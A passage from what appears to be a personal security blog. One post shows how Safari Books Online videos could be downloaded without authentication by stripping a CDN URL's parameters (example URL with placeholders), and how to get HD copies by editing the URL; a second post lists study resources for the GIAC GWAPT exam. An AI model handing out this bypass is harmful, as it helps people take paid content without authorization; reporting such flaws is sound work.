http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a02.mp4?AccountId=XXXXX&UserId=YYYYY&e=1327343958&Fpid=BBBBB&ClipId=a02&source=mui&h=ZZZZZ&source=mui&e=AAAAA&h=ZZZZZ&ClipId=a01&AccountId=XXXXX&UserId=YYYYY&Fpid=BBBBB

And so on...

Actually, as you will find out eventually, that FlashGet can download the file, without needing any URL parameters:

http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a03.mp4 

You can also use Firefox or Opera. Both of them do NOT ask for any authentication when the video URL is entered.

You can use any firefox video downloader extension like Ant Video Downloader to download the video.

This implies that if one can gain knowledge of a URL, perhaps from someone who has an account on Safari, and who can access a video resource, anyone may be able to download the videos.

Also, since we were able to strip off all parameters such as AccountId, UserID etc, and still got a proper file as server response when using a different browser afresh - firefox/opera, how might safari be tracking whether the request was legit or not, i.e. was the request sent by an authenticated AND an authorized user? Certainly doesn't look like they do! A review of AAA controls of the download site could be a start for Safari.

Update: A reader provided additional info on how to apparently turn the download of mobile version (read: low quality encoded for mobile version) into HD quality.
>>> Just remove the H264 parameter in the URL.

Thanks..

.....

KG

Passed GIAC GWAPT Exam

Hi dears,

I just wanted to share first update of this year.

I sat for & passed the SANS GIAC Web Application Penetration Testing - GWAPT - exam on January 14, 2012. I found the exam was pretty tough as compared to the previous GIAC exams I had attempted - GPEN, GCIH, and GREM.

I have been doing web app pentesting for a while. So, most of the tested topics were not new to me. I did a self-study for this exam. I used the following study resources to prepare:

1. SANS GPEN course material

2. OWASP - this site has a lot of good, relevant information on a majority of web app topics.

3. Web Application Hacker's handbook

4. SQL Injection - Attacks & Defense by Justin Clarke - A superb book for injection attacks.

5. Backtrack - Specifically for any or all related tools - load it up & practice various web app testing related tools on this dist.

6. Google - Yeah, search out specific topics, terms, video tutorials, tool demonstrations. This is significant especially if you choose to take the self-study route.
7. Misc Notes - some random, personal notes on various topics.

I know it's not easy to take out 4000+ usd for official course materials. I hope this info will help someone planning self-study to tame this beast.

As always, let me know if you have any questions. I will be glad to help.

KG